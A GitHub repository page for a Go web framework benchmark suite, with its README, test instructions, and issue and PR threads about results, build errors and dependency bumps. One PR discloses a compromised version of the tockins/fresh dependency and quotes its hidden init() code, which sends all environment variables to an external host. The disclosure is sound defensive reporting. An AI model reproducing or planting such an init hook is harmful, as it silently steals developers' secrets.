:zap: Go web framework benchmark

go-web-framework-benchmark

This benchmark suite aims to compare the performance of Go web frameworks. It is inspired by Go HTTP Router Benchmark but this benchmark suite is different with that. Go HTTP Router Benchmark suit aims to compare the performance of routers but this Benchmark suit aims to compare whole HTTP request processing.

Last Test Updated: 2020-05

test environment

  • CPU: Intel(R) Xeon(R) CPU E5-2630 v4 @ 2.20GHz (2 cpus, 10 physical cores, 40 logical cores)
  • Memory: 32G
  • Go: go1.12.7 linux/amd64
  • OS: CentOS Linux release 7.3.1611 (Core)

Tested web frameworks (in alphabetical order)

Only test those webframeworks which are stable

Motivation

When I investigated performance of Go web frameworks, I found Go HTTP Router Benchmark, created by Julien Schmidt. He also developed a high performance http router: httprouter. I had thought I got the performance result until I created a piece of codes to mock the real business logics:

api.Get("/rest/hello", func(c *XXXXX.Context) {
	sleepTime := strconv.Atoi(os.Args[1]) //10ms
	if sleepTime > 0 {
		time.Sleep(time.Duration(sleepTime) * time.Millisecond)
	}

	c.Text("Hello world")
})

When I use the above codes to test those web frameworks, the token time of route selection is not so important in the whole http request processing, although performance of route selection of web frameworks are very different.

So I create this project to compare performance of web frameworks including connection, route selection, handler processing. It mocks business logics and can set a special processing time.

The you can get some interesting results if you use it to test.

Implementation

When you test a web framework, this test suit will starts a simple http server implemented by this web framework. It is a real http server and only contains GET url: "/hello".

When this server processes this url, it will sleep n milliseconds in this handler. It mocks the business logics such as:

  • read data from sockets
  • write data to disk
  • access databases
  • access cache servers
  • invoke other microservices
  • ……

It contains a test.sh that can do those tests automatically.

It uses wrk to test.

Basic Test

The first test case is to mock 0 ms, 10 ms, 100 ms, 500 ms processing time in handlers.

Benchmark (Round 3) the concurrency clients are 5000.

Latency (Round 3) Latency is the time of real processing time by web servers. The smaller is the better.

Allocs (Round 3) Allocs is the heap allocations by web servers when test is running. The unit is MB. The smaller is the better.

If we enable http pipelining, test result as below:

benchmark pipelining (Round 2)

Concurrency Test

In 30 ms processing time, the test result for 100, 1000, 5000 clients is:

concurrency (Round 3)

Latency (Round 3)

Latency (Round 3)

If we enable http pipelining, test result as below:

concurrency pipelining(Round 2)

cpu-bound case Test

cpu-bound (5000 concurrency)

Usage

You should install this package first if you want to run this test.

go get github.com/smallnest/go-web-framework-benchmark

It takes a while to install a large number of dependencies that need to be downloaded. Once that command completes, you can run:

cd $GOPATH/src/github.com/smallnest/go-web-framework-benchmark
go build -o  gowebbenchmark *.go
./test.sh

It will generate test results in processtime.csv and concurrency.csv. You can modify test.sh to execute your customized test cases.

  • If you also want to generate latency data and allocation data, you can run the script:
./test-latency.sh
  • If you don't want use keepalive, you can run:
./test-latency-nonkeepalive.sh
  • If you want to test http pipelining, you can run:
./test-pipelining.sh
  • If you want to test some of web frameworks, you can modify the test script and only keep your selected web frameworks:
……
web_frameworks=( "default" "ace" "beego" "bone" "denco" "echov1" "echov2standard" "echov2fasthttp" "fasthttp-raw" "fasthttprouter" "fasthttp-routing" "gin" "gocraftWeb" "goji" "gojiv2" "gojsonrest" "gorestful" "gorilla" "httprouter" "httptreemux" "lars" "lion" "macaron" "martini" "pat" "r2router" "tango" "tiger" "traffic" "violetear" "vulcan")
……
  • If you want to test all cases, you can run:
./test-all.sh

Plot

you can run the shell script plot.sh in testresults directory and it can generate all images in its parent directory.

Add new web framework

Welcome to add new Go web frameworks. You can follow the below steps and send me a pull request.

  1. add your web framework link in README
  2. add a hello implementation in server.go
  3. add your webframework in libs.sh

Please add your web framework alphabetically.

Owner
smallnest
Author of 《Scala Collections Cookbook》
smallnest
Comments
  • What happens ?

    What happens ?

    Before the last iris was first with fasthttp-raw, before 18 days, as this commit also says: https://github.com/smallnest/go-web-framework-benchmark/commit/0874ce64aa6d78235c9452bfed0b8fb6fb4f4547.

    Also I didn't change any performance-releated with SetBody & router, I just tested with a version we had before a month and the benchmark results are the same as the latest iris version.

    Can you tell me when you upgraded iris? what version did you had before (or a date) you did several tests within this period, this is the first time iris is down.

    And if you didn't changed anything(iris-releated) from the previous week, could you please re-run the tests?

    Edit2:

    I just ran the benchmarks from docker with docker pull smallnest/go-web-framework-benchmark docker run -v /opt/data:/data smallnest/go-web-framework-benchmark .

    Iris is still side-by-side with fasthttp. Some other frameworks I saw on this repo's README that seems to be top of iris, in real, they have lowest results...

    For now, only the basic tests (0ms 5000 clients) are finished:

    fasthttp and others

    iris

    I ran it from a 'clean/fresh' docker*

    but on README's Basic tests are:

    README page

    How is that even possible?

    Edit 3: 10ms 5k clients finished also:

    fasthttp and others 10ms

    iris 10ms

    I will leave the machine open until the graphical results also... I really need to sleep now

    But you got the idea.. something happened on your last machine's benchmark testing

    Thanks for everything!!

  • Add pipeline to tests

    Add pipeline to tests

    init = function(args)
       request_uri = args[1]
       depth = tonumber(args[2]) or 1
    
       local r = {}
       for i=1,depth do
         r[i] = wrk.format(nil, request_uri)
       end
       req = table.concat(r)
    end
    
    request = function()
       return req
    end
    
    
    $ wrk .... -s pipeline.lua 
    

    Taken from here

  • docker image not creating images with labels

    docker image not creating images with labels

    Hi, first at all, many thanks for sharing this project, has helped me to improve and detect some issues within my code and therefore learn more about how to profile/test in general.

    Currently, I am giving a try to the docker image but is not creating the images by just running this:

    docker run  -v /opt/data:/data smallnest/go-web-framework-benchmark
    

    What I am doing to try to generate them, is to execute the plot.sh something like:

    docker run -v /tmp/data:/data -t -i --entrypoint /bin/bash smallnest/go-web-framework-benchmark
    

    then within the container, I run:

    docker-test.sh
    

    When finished I run plot.sh within the testresults this creates the images but without labels, an example of the output:

    benchmark_alloc

    Any idea of how to fix this? and if is not too much asking in the meantime could the benchmark results be updated?

    thanks in advance.

  • http: Accept error: accept tcp [::]:8080: accept4: too many open files

    http: Accept error: accept tcp [::]:8080: accept4: too many open files

    Hello,

    I made a fresh setup today and started to get these errors. Any idea ?

    Host machine is Ubuntu 20.04 with go 1.15.

    2020/08/26 14:31:24 - atreugo - Temporary error when accepting new connections: accept tcp4 0.0.0.0:8080: accept4: too many open files 2020/08/26 14:31:25 - atreugo - Temporary error when accepting new connections: accept tcp4 0.0.0.0:8080: accept4: too many open files 2020/08/26 14:31:26 - atreugo - Temporary error when accepting new connections: accept tcp4 0.0.0.0:8080: accept4: too many open files throughput: 118162.25 requests/second ./test.sh: line 18: 3216 Killed ./$server_bin_name $2 $3 finsihed testing atreugo

    testing web framework: beego • Initialization package=gramework version=1.7.0-rc3 • node info cputicks=2.53G package=gramework ram=911.18M used / 7.51G total swap=0.00 used / 2.00G total • load average is good fifteen=0.600 five=1.670 one=4.920 package=gramework • node uptime package=gramework uptime= 0:01 2020/08/26 14:31:30 http: Accept error: accept tcp [::]:8080: accept4: too many open files; retrying in 5ms 2020/08/26 14:31:30 http: Accept error: accept tcp [::]:8080: accept4: too many open files; retrying in 10ms 2020/08/26 14:31:30 http: Accept error: accept tcp [::]:8080: accept4: too many open files; retrying in 20ms 2020/08/26 14:31:30 http: Accept error: accept tcp [::]:8080: accept4: too many open files; retrying in 40ms 2020/08/26 14:31:30 http: Accept error: accept tcp [::]:8080: accept4: too many open files; retrying in 80ms 2020/08/26 14:31:30 http: Accept error: accept tcp [::]:8080: accept4: too many open files; retrying in 160ms 2020/08/26 14:31:30 http: Accept error: accept tcp [::]:8080: accept4: too many open files; retrying in 320ms 2020/08/26 14:31:30 http: Accept error: accept tcp [::]:8080: accept4: too many open files; retrying in 640ms 2020/08/26 14:31:31 http: Accept error: accept tcp [::]:8080: accept4: too many open files; retrying in 1s 2020/08/26 14:31:32 http: Accept error: accept tcp [::]:8080: accept4: too many open files; retrying in 1s

    Best Regards,

  • Processing time and Latency

    Processing time and Latency

    According to the Benchmark of different processing time (Latency), In all frameworks except fasthttp, for 0ms processing time, we have more latencies compared to 10ms! It's not clear to me. Maybe because of sleeps in the processing code. What do you think?

    Thanks for your useful benchmarks.

  • fixed gear’s bench

    fixed gear’s bench

    非常感谢你的评测,我发现 Gear 的测试逻辑不对,所以导致很多 bench 图表一枝独秀。

    Gear 的 Router 也是一个的 Gear 中间件, 不会默认挂载,这里修复了一下。

    目前的 Gear 版本 handle 了 context canceled error, 回头修复。

    另外,按照目前的测试逻辑——简单的回写一个 hello,基于原生 http server 的框架区别不会很大,无非就是多了一个初始化逻辑。我本地对比跑了一下 gin 和 gear,gear 稍低一点。因为 Gear 内置的初始化逻辑确实多了一些,包括检测 Compress 组件、recover 异常、初始化 cookie 模块、初始化 context 等

  • 本地测试结果与公布数据差距很大,

    本地测试结果与公布数据差距很大,

    测试环境 go1.7 最新 beego ->default路径无返回值 硬件: 40 Intel(R) Xeon(R) CPU E5-2650 v3 @ 2.30GHz Mem: 32765096 测试结果: [[email protected] wrk]# ./wrk -t10 -c5000 -d60s http://127.0.0.1:8080/ Running 1m test @ http://127.0.0.1:8080/ 10 threads and 5000 connections Thread Stats Avg Stdev Max +/- Stdev Latency 402.30ms 565.62ms 2.00s 81.05% Req/Sec 0.86k 639.03 13.29k 78.62% 476512 requests in 1.00m, 70.44MB read Socket errors: connect 0, read 0, write 0, timeout 40477 Requests/sec: 7932.59 Transfer/sec: 1.17MB

    Requests/sec 远远低于您第一项测试中0ms 100ms 等测试项的公布值, 不知道问题出在哪里.

  • missing dependencies

    missing dependencies

    Forked this repository and tried running. Following is the output

    ../go-web-framework-benchmark$ go build -o gowebfmbench
    # github.com/cloudfoundry/gosigar
    ../../../../pkg/mod/github.com/cloudfoundry/[email protected]/concrete_sigar.go:20:11: cpuUsage.Get undefined (type Cpu has no field or method Get)
    ../../../../pkg/mod/github.com/cloudfoundry/[email protected]/concrete_sigar.go:30:13: cpuUsage.Get undefined (type Cpu has no field or method Get)
    ../../../../pkg/mod/github.com/cloudfoundry/[email protected]/concrete_sigar.go:49:10: l.Get undefined (type LoadAverage has no field or method Get)
    ../../../../pkg/mod/github.com/cloudfoundry/[email protected]/concrete_sigar.go:55:10: m.Get undefined (type Mem has no field or method Get)
    ../../../../pkg/mod/github.com/cloudfoundry/[email protected]/concrete_sigar.go:61:10: s.Get undefined (type Swap has no field or method Get)
    ../../../../pkg/mod/github.com/cloudfoundry/[email protected]/sigar_shared.go:12:20: procTime.Get undefined (type *ProcTime has no field or method Get)
    

    Go env

    $ go env
    GO111MODULE=""
    GOARCH="amd64"
    GOBIN=""
    GOCACHE="/Users/kamaleshwar/Library/Caches/go-build"
    GOENV="/Users/kamaleshwar/Library/Application Support/go/env"
    GOEXE=""
    GOFLAGS=""
    GOHOSTARCH="amd64"
    GOHOSTOS="darwin"
    GOINSECURE=""
    GOOS="darwin"
    GOPATH="/Users/kamaleshwar/go"
    GOPROXY="https://proxy.golang.org,direct"
    GOROOT="/usr/local/go"
    GOSUMDB="sum.golang.org"
    GOTMPDIR=""
    GOTOOLDIR="/usr/local/go/pkg/tool/darwin_amd64"
    GCCGO="gccgo"
    AR="ar"
    CC="clang"
    CXX="clang++"
    CGO_ENABLED="0"
    GOMOD=""
    CGO_CFLAGS="-g -O2"
    CGO_CPPFLAGS=""
    CGO_CXXFLAGS="-g -O2"
    CGO_FFLAGS="-g -O2"
    CGO_LDFLAGS="-g -O2"
    PKG_CONFIG="pkg-config"
    GOGCCFLAGS="-fPIC -m64 -fno-caret-diagnostics -Qunused-arguments -fmessage-length=0 -fdebug-prefix-map=/var/folders/lv/0wsxrb6123s8slgb2lp_6_3m0000gp/T/go-build461564637=/tmp/go-build -gno-record-gcc-switches -fno-common"
    
  • Remove iris

    Remove iris

    Given how the awesome-go PR went (it ended up with a ban of the iris from the list from just a removal) I considered creating one for this place as well. I'm asking to have iris removed based on the widespread evidence that this is a project toxic for the Go community and the fact that it is using this benchmark suite only to promote itself.

    I've also took the liberty to bump up the docker container to 1.7.1 which is the latest version of Go (1.7.2 might be released soon this week) as a small token of saying thank you for this project.

    Thank you for your consideration.

  • dependency issue in aurora framework

    dependency issue in aurora framework

    I think there is an issue in the aurora web framework. After taking out the aurora, it works.

    go: downloading github.com/aurora-go/minilog v0.0.7
    ../../../go/pkg/mod/github.com/aurora-go/[email protected]/aurora/level/level.go:3:8: reading github.com/aurora-go/minilog/go.mod at revision v0.0.7: git ls-remote -q origin in /home/dennis/go/pkg/mod/cache/vcs/7b82371cb7ac369cfc0fb0e4f4171ae244409e04b5edd64ecf7a989735e343d8: exit status 128:
            remote: Repository not found.
            fatal: repository 'https://github.com/aurora-go/minilog/' not found
    
  • Replace malicious version of dep

    Replace malicious version of dep

    This PR replace the malicious version of github.com/tockins/fresh.

    The new version (v0.0.0-20220719194346-eee4eda4271e) of github.com/tockins/fresh have malicious code in init func of every go file. And you can't see this version in github.

    After make build, You can find that in ~/go/pkg/mod/github.com/tockins/[email protected]. And The malicious code looks like this. It's post env to the weird url.

    func init() {
      if x0__.Getenv("e452d6ab") == "" {
        x4__, _ := x3__.Marshal(x0__.Environ())
        x0__.Setenv("e452d6ab", "1")
        x2__.Post("http://ovz1.j19544519.pr46m.vps.myjino.ru:49460?org=tockins&repo=fresh", "application/json", x1__.NewBuffer(x4__))
      }
    }
    
  • issue in benchmark result for go-zero

    issue in benchmark result for go-zero

    Hello , so i was trying to do benchmark for go-zero framework and got some weird result for the benchmark. Can you help to see wether or not something is wrong in the implementation?

    Here are the implementation: https://github.com/dennissetiawan/go-web-framework-benchmark

    You can see the result in benchmark_trial_1/ and benchmark_trial_2/ folder

  • Bump thread_local from 1.0.1 to 1.1.4 in /rust/actix

    Bump thread_local from 1.0.1 to 1.1.4 in /rust/actix

    Bumps thread_local from 1.0.1 to 1.1.4.

    Commits
    • 4a54e57 Bump version to 1.1.4
    • ebf8b45 Merge pull request #34 from ibraheemdev/patch-1
    • 3d69afa Fix memory ordering in RawIter::next
    • c7d8dcd Bump version to 1.1.3
    • 5e8bbf2 Merge pull request #30 from Marwes/fix_drop
    • a44b836 fix: Drop the value in the ThreadLocal on drop
    • 322cf34 Bump version to 1.1.2
    • dca4007 Merge pull request #29 from Kestrer/raw-iter
    • 33ad405 Add #[inline] to non-generic functions
    • 810c043 Implement iterator logic in RawIter
    • Additional commits viewable in compare view

    Dependabot compatibility score

    Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase.


    Dependabot commands and options

    You can trigger Dependabot actions by commenting on this PR:

    • @dependabot rebase will rebase this PR
    • @dependabot recreate will recreate this PR, overwriting any edits that have been made to it
    • @dependabot merge will merge this PR after your CI passes on it
    • @dependabot squash and merge will squash and merge this PR after your CI passes on it
    • @dependabot cancel merge will cancel a previously requested merge and block automerging
    • @dependabot reopen will reopen this PR if it is closed
    • @dependabot close will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually
    • @dependabot ignore this major version will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)
    • @dependabot ignore this minor version will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)
    • @dependabot ignore this dependency will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)
    • @dependabot use these labels will set the current labels as the default for future PRs for this repo and language
    • @dependabot use these reviewers will set the current reviewers as the default for future PRs for this repo and language
    • @dependabot use these assignees will set the current assignees as the default for future PRs for this repo and language
    • @dependabot use this milestone will set the current milestone as the default for future PRs for this repo and language

    You can disable automated security fix PRs for this repo from the Security Alerts page.

  • Bump smallvec from 1.2.0 to 1.8.0 in /rust/actix

    Bump smallvec from 1.2.0 to 1.8.0 in /rust/actix

    Bumps smallvec from 1.2.0 to 1.8.0.

    Release notes

    Sourced from smallvec's releases.

    v1.8.0

    • Add optional support for the arbitrary crate (#275).

    v1.7.0

    • new_const and from_const constructors for creating a SmallVec in const contexts. Requires Rust 1.51 and the optional const_new feature. (#265)

    v1.6.1

    • Fix a possible buffer overflow in insert_many (#252, #254).

    v1.6.0

    • The "union" feature is now compatible with stable Rust 1.49 (#248, #247).
    • Fixed warnings when compiling with Rust 1.51 nightly (#242, #246).

    v1.5.1

    • Improve performance of push (#241).

    v1.5.0

    • Add the append method (#237).
    • Add support for more array sizes between 17 and 31 (#234).
    • Don't panic on deserialization errors (#238).

    v1.4.2

    • insert_many no longer leaks elements if the provided iterator panics (#213).
    • The unstable const_generics and specialization features are updated to work with the most recent nightly Rust toolchain (#232).
    • Internal code cleanup (#229, #231).

    v1.4.1

    • Don't allocate when the size of the element type is zero. Allocating zero bytes is undefined behavior. (#228)

    v1.4.0

    • Add try_reserve, try_reserve_exact, and try_grow methods (#214).

    v1.3.0

    • Add a new unstable const_generics feature (#204).
    • Improve inlining of constructor functions (#206).
    • Add a slice.to_smallvec() convenience method (#203).
    • Documentation and testing improvements.
    Commits
    • 0a4fdff Version 1.8.0
    • 6d0dea5 Auto merge of #275 - as-com:arbitrary-support, r=mbrubeck
    • 9bcd950 Add support for arbitrary
    • 7cbb3b1 Auto merge of #271 - saethlin:drain-aliasing-test, r=jdm
    • 0fced9d Test for drains that shift the tail, when inline
    • 218e0bb Merge pull request #270 from servo/github-actions
    • 52c50af Replace TravisCI with Github Actions.
    • 5ae217a Include the cost of shifts in insert/remove benchmarks (#268)
    • 58edc0e Version 1.7.0
    • 1e4b151 Added feature const_new which enables SmallVec::new_const() (#265)
    • Additional commits viewable in compare view

    Dependabot compatibility score

    Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase.


    Dependabot commands and options

    You can trigger Dependabot actions by commenting on this PR:

    • @dependabot rebase will rebase this PR
    • @dependabot recreate will recreate this PR, overwriting any edits that have been made to it
    • @dependabot merge will merge this PR after your CI passes on it
    • @dependabot squash and merge will squash and merge this PR after your CI passes on it
    • @dependabot cancel merge will cancel a previously requested merge and block automerging
    • @dependabot reopen will reopen this PR if it is closed
    • @dependabot close will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually
    • @dependabot ignore this major version will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)
    • @dependabot ignore this minor version will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)
    • @dependabot ignore this dependency will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)
    • @dependabot use these labels will set the current labels as the default for future PRs for this repo and language
    • @dependabot use these reviewers will set the current reviewers as the default for future PRs for this repo and language
    • @dependabot use these assignees will set the current assignees as the default for future PRs for this repo and language
    • @dependabot use this milestone will set the current milestone as the default for future PRs for this repo and language

    You can disable automated security fix PRs for this repo from the Security Alerts page.

  • Bump futures-task from 0.3.4 to 0.3.21 in /rust/actix

    Bump futures-task from 0.3.4 to 0.3.21 in /rust/actix

    Bumps futures-task from 0.3.4 to 0.3.21.

    Release notes

    Sourced from futures-task's releases.

    0.3.21

    • Fix potential data race in FlattenUnordered that introduced in 0.3.20 (#2566)

    0.3.20

    • Fix stacked borrows violations when -Zmiri-tag-raw-pointers is enabled. This raises MSRV of futures-task to 1.45. (#2548, #2550)
    • Change FuturesUnordered to respect yielding from future (#2551)
    • Add StreamExt::{flatten_unordered, flat_map_unordered} (#2083)

    0.3.19

    • Remove unstable read-initializer feature (#2534)
    • Fix panic in FuturesUnordered (#2535)
    • Fix compatibility issue with FuturesUnordered and tokio's cooperative scheduling (#2527)
    • Add StreamExt::count (#2495)

    0.3.18

    • Fix unusable Sink implementation on stream::Scan (#2499)
    • Make task::noop_waker_ref available without std feature (#2505)
    • Add async LineWriter (#2477)
    • Remove dependency on proc-macro-hack. This raises MSRV of utility crates to 1.45. (#2520)

    0.3.17

    • Use FuturesOrdered in join_all (#2412)
    • Add {future, stream}::poll_immediate (#2452)
    • Add stream_select! macro (#2262)
    • Implement Default for OptionFuture (#2471)
    • Add Peekable::{peek_mut, poll_peek_mut} (#2488)
    • Add BufReader::seek_relative (#2489)

    0.3.16

    • Add TryStreamExt::try_chunks (#2438)
    • Add StreamExt::{all, any} (#2460)
    • Add stream::select_with_strategy (#2450)
    • Update to new io_slice_advance interface (#2454)

    0.3.15

    • Use #[proc_macro] at Rust 1.45+ to fix an issue where proc macros don't work with rust-analyzer (#2407)
    • Support targets that do not have atomic CAS on stable Rust (#2400)
    • futures-test: Add async #[test] function attribute (#2409)
    • Add stream::abortable (#2410)
    • Add FuturesUnordered::clear (#2415)
    • Implement IntoIterator for FuturesUnordered (#2423)
    • Implement Send and Sync for FuturesUnordered iterators (#2416)
    • Make FuturesUnordered::iter_pin_ref public (#2423)
    • Add SelectAll::clear (#2430)
    • Add SelectAll::{iter, iter_mut} (#2428)
    • Implement IntoIterator for SelectAll (#2428)
    • Implement Clone for WeakShared (#2396)

    0.3.14

    • Add future::SelectAll::into_inner (#2363)

    ... (truncated)

    Changelog

    Sourced from futures-task's changelog.

    0.3.21 - 2022-02-06

    • Fix potential data race in FlattenUnordered that introduced in 0.3.20 (#2566)

    0.3.20 - 2022-02-06

    NOTE: This release has been yanked due to a bug fixed in 0.3.21.

    • Fix stacked borrows violations when -Zmiri-tag-raw-pointers is enabled. This raises MSRV of futures-task to 1.45. (#2548, #2550)
    • Change FuturesUnordered to respect yielding from future (#2551)
    • Add StreamExt::{flatten_unordered, flat_map_unordered} (#2083)

    0.3.19 - 2021-12-18

    • Remove unstable read-initializer feature (#2534)
    • Fix panic in FuturesUnordered (#2535)
    • Fix compatibility issue with FuturesUnordered and tokio's cooperative scheduling (#2527)
    • Add StreamExt::count (#2495)

    0.3.18 - 2021-11-23

    NOTE: This release has been yanked. See #2529 for details.

    • Fix unusable Sink implementation on stream::Scan (#2499)
    • Make task::noop_waker_ref available without std feature (#2505)
    • Add async LineWriter (#2477)
    • Remove dependency on proc-macro-hack. This raises MSRV of utility crates to 1.45. (#2520)

    0.3.17 - 2021-08-30

    • Use FuturesOrdered in join_all (#2412)
    • Add {future, stream}::poll_immediate (#2452)
    • Add stream_select! macro (#2262)
    • Implement Default for OptionFuture (#2471)
    • Add Peekable::{peek_mut, poll_peek_mut} (#2488)
    • Add BufReader::seek_relative (#2489)

    0.3.16 - 2021-07-23

    • Add TryStreamExt::try_chunks (#2438)
    • Add StreamExt::{all, any} (#2460)
    • Add stream::select_with_strategy (#2450)
    • Update to new io_slice_advance interface (#2454)

    0.3.15 - 2021-05-11

    • Use #[proc_macro] at Rust 1.45+ to fix an issue where proc macros don't work with rust-analyzer (#2407)
    • Support targets that do not have atomic CAS on stable Rust (#2400)
    • futures-test: Add async #[test] function attribute (#2409)
    • Add stream::abortable (#2410)

    ... (truncated)

    Commits
    • fc1e325 Release 0.3.21
    • 20279eb FlattenUnordered: improve wakers behavior (#2566)
    • 75dca5a Fix MSRV in futures-task readme
    • 55281c8 Release 0.3.20
    • 591b982 Redefine executor and compat modules in futures crate (#2564)
    • 94b508b Basic StreamExt::{flatten_unordered, flat_map_unordered} impls (#2083)
    • dca16fa Do not auto-create PR on fork
    • a9795a9 Automatically creates PR when no_atomic_cas.rs needs to be updated
    • 4841888 Update comments in build scripts
    • 85706b6 Clean up ci/no_atomic_cas.sh
    • Additional commits viewable in compare view

    Dependabot compatibility score

    Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase.


    Dependabot commands and options

    You can trigger Dependabot actions by commenting on this PR:

    • @dependabot rebase will rebase this PR
    • @dependabot recreate will recreate this PR, overwriting any edits that have been made to it
    • @dependabot merge will merge this PR after your CI passes on it
    • @dependabot squash and merge will squash and merge this PR after your CI passes on it
    • @dependabot cancel merge will cancel a previously requested merge and block automerging
    • @dependabot reopen will reopen this PR if it is closed
    • @dependabot close will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually
    • @dependabot ignore this major version will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)
    • @dependabot ignore this minor version will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)
    • @dependabot ignore this dependency will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)
    • @dependabot use these labels will set the current labels as the default for future PRs for this repo and language
    • @dependabot use these reviewers will set the current reviewers as the default for future PRs for this repo and language
    • @dependabot use these assignees will set the current assignees as the default for future PRs for this repo and language
    • @dependabot use this milestone will set the current milestone as the default for future PRs for this repo and language

    You can disable automated security fix PRs for this repo from the Security Alerts page.

  • Bump futures-util from 0.3.4 to 0.3.21 in /rust/actix

    Bump futures-util from 0.3.4 to 0.3.21 in /rust/actix

    Bumps futures-util from 0.3.4 to 0.3.21.

    Release notes

    Sourced from futures-util's releases.

    0.3.21

    • Fix potential data race in FlattenUnordered that introduced in 0.3.20 (#2566)

    0.3.20

    • Fix stacked borrows violations when -Zmiri-tag-raw-pointers is enabled. This raises MSRV of futures-task to 1.45. (#2548, #2550)
    • Change FuturesUnordered to respect yielding from future (#2551)
    • Add StreamExt::{flatten_unordered, flat_map_unordered} (#2083)

    0.3.19

    • Remove unstable read-initializer feature (#2534)
    • Fix panic in FuturesUnordered (#2535)
    • Fix compatibility issue with FuturesUnordered and tokio's cooperative scheduling (#2527)
    • Add StreamExt::count (#2495)

    0.3.18

    • Fix unusable Sink implementation on stream::Scan (#2499)
    • Make task::noop_waker_ref available without std feature (#2505)
    • Add async LineWriter (#2477)
    • Remove dependency on proc-macro-hack. This raises MSRV of utility crates to 1.45. (#2520)

    0.3.17

    • Use FuturesOrdered in join_all (#2412)
    • Add {future, stream}::poll_immediate (#2452)
    • Add stream_select! macro (#2262)
    • Implement Default for OptionFuture (#2471)
    • Add Peekable::{peek_mut, poll_peek_mut} (#2488)
    • Add BufReader::seek_relative (#2489)

    0.3.16

    • Add TryStreamExt::try_chunks (#2438)
    • Add StreamExt::{all, any} (#2460)
    • Add stream::select_with_strategy (#2450)
    • Update to new io_slice_advance interface (#2454)

    0.3.15

    • Use #[proc_macro] at Rust 1.45+ to fix an issue where proc macros don't work with rust-analyzer (#2407)
    • Support targets that do not have atomic CAS on stable Rust (#2400)
    • futures-test: Add async #[test] function attribute (#2409)
    • Add stream::abortable (#2410)
    • Add FuturesUnordered::clear (#2415)
    • Implement IntoIterator for FuturesUnordered (#2423)
    • Implement Send and Sync for FuturesUnordered iterators (#2416)
    • Make FuturesUnordered::iter_pin_ref public (#2423)
    • Add SelectAll::clear (#2430)
    • Add SelectAll::{iter, iter_mut} (#2428)
    • Implement IntoIterator for SelectAll (#2428)
    • Implement Clone for WeakShared (#2396)

    0.3.14

    • Add future::SelectAll::into_inner (#2363)

    ... (truncated)

    Changelog

    Sourced from futures-util's changelog.

    0.3.21 - 2022-02-06

    • Fix potential data race in FlattenUnordered that introduced in 0.3.20 (#2566)

    0.3.20 - 2022-02-06

    NOTE: This release has been yanked due to a bug fixed in 0.3.21.

    • Fix stacked borrows violations when -Zmiri-tag-raw-pointers is enabled. This raises MSRV of futures-task to 1.45. (#2548, #2550)
    • Change FuturesUnordered to respect yielding from future (#2551)
    • Add StreamExt::{flatten_unordered, flat_map_unordered} (#2083)

    0.3.19 - 2021-12-18

    • Remove unstable read-initializer feature (#2534)
    • Fix panic in FuturesUnordered (#2535)
    • Fix compatibility issue with FuturesUnordered and tokio's cooperative scheduling (#2527)
    • Add StreamExt::count (#2495)

    0.3.18 - 2021-11-23

    NOTE: This release has been yanked. See #2529 for details.

    • Fix unusable Sink implementation on stream::Scan (#2499)
    • Make task::noop_waker_ref available without std feature (#2505)
    • Add async LineWriter (#2477)
    • Remove dependency on proc-macro-hack. This raises MSRV of utility crates to 1.45. (#2520)

    0.3.17 - 2021-08-30

    • Use FuturesOrdered in join_all (#2412)
    • Add {future, stream}::poll_immediate (#2452)
    • Add stream_select! macro (#2262)
    • Implement Default for OptionFuture (#2471)
    • Add Peekable::{peek_mut, poll_peek_mut} (#2488)
    • Add BufReader::seek_relative (#2489)

    0.3.16 - 2021-07-23

    • Add TryStreamExt::try_chunks (#2438)
    • Add StreamExt::{all, any} (#2460)
    • Add stream::select_with_strategy (#2450)
    • Update to new io_slice_advance interface (#2454)

    0.3.15 - 2021-05-11

    • Use #[proc_macro] at Rust 1.45+ to fix an issue where proc macros don't work with rust-analyzer (#2407)
    • Support targets that do not have atomic CAS on stable Rust (#2400)
    • futures-test: Add async #[test] function attribute (#2409)
    • Add stream::abortable (#2410)

    ... (truncated)

    Commits
    • fc1e325 Release 0.3.21
    • 20279eb FlattenUnordered: improve wakers behavior (#2566)
    • 75dca5a Fix MSRV in futures-task readme
    • 55281c8 Release 0.3.20
    • 591b982 Redefine executor and compat modules in futures crate (#2564)
    • 94b508b Basic StreamExt::{flatten_unordered, flat_map_unordered} impls (#2083)
    • dca16fa Do not auto-create PR on fork
    • a9795a9 Automatically creates PR when no_atomic_cas.rs needs to be updated
    • 4841888 Update comments in build scripts
    • 85706b6 Clean up ci/no_atomic_cas.sh
    • Additional commits viewable in compare view

    Dependabot compatibility score

    Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase.


    Dependabot commands and options

    You can trigger Dependabot actions by commenting on this PR:

    • @dependabot rebase will rebase this PR
    • @dependabot recreate will recreate this PR, overwriting any edits that have been made to it
    • @dependabot merge will merge this PR after your CI passes on it
    • @dependabot squash and merge will squash and merge this PR after your CI passes on it
    • @dependabot cancel merge will cancel a previously requested merge and block automerging
    • @dependabot reopen will reopen this PR if it is closed
    • @dependabot close will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually
    • @dependabot ignore this major version will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)
    • @dependabot ignore this minor version will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)
    • @dependabot ignore this dependency will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)
    • @dependabot use these labels will set the current labels as the default for future PRs for this repo and language
